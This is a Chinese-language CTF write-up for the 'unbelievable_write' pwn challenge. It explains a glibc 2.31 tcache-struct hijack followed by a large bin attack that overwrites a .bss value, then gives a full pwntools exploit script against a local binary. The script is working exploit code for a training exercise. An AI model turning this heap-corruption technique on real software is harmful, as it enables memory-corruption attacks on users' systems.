unbelievable_write
只要修改bss
段上target
值就能拿flag
,还提供了一次堆上任意地址释放的功能,难点在于申请的堆块在写入后会被立即释放。
由于题目环境是libc-2.31
,我们考虑large bin attack
,先释放并劫持tcache
结构体使得我们可以控制申请到的堆快的位置,修改counts
使得我们可以直接申请到unsoted bin
,此时我们就可以根据2.31 large bin attack
的顺序修改并拿到flag了。
需要注意的是,由于题目申请后立即释放堆快的特性,我们需要在劫持tcache
结构体前布置好需要用到的堆快(一个0x400和0x3f0的堆快用于制作large bin
,一个0xa0的堆快用于修改bk_nextsize
)。
题目在输出时会申请一个0x400大小的堆快,如果在我们large bin attack
后申请这个堆快会使得程序崩溃拿不到flag
,我们可以提前触发这个输出,副作用是使得0xa0大小的堆快重新申请时地址不固定,需要1/16
的概率去爆破。
from pwn import *
context(arch='amd64',log_level='debug')
context.terminal=['tmux','splitw','-h']
p=process('./pwn1')
elf=ELF('./pwn1')
def c1(size,con):
p.sendlineafter('>','1')
p.sendline(str(size))
p.send(con)
def c2(off):
p.sendlineafter('>','2')
p.sendline(str(off))
def c3():
p.sendlineafter('>','3')
target=0x404080
golden=target+0x8
ptr=0x4052a0
heap_base=0x405000
p.sendline('a')
c1(0xa0,p64(0)*0x5+p64(0xb1)+b'\n')
c1(0x400,b'\n')
c1(0x20,b'\n')
c1(0x3f0,b'\n')
c1(0x30,b'\n')
c2(-0x290)
c1(0x280,p16(0)*9+p16(1)+p16(0)*0x1d+p16(0)+p16(0)*0x16+p16(0x9)*2+p64(0)*9+b'\x00\xa7'+b'\n')
c1(0x400,b'\n')
c1(0x500,b'\n')
c1(0x3f0,b'\n')
c1(0xa0,p64(0)*15+p64(0x411)+p64(target+0x100)*3+p64(target-0x20))
c1(0x500,b'\n')
c3()
p.interactive()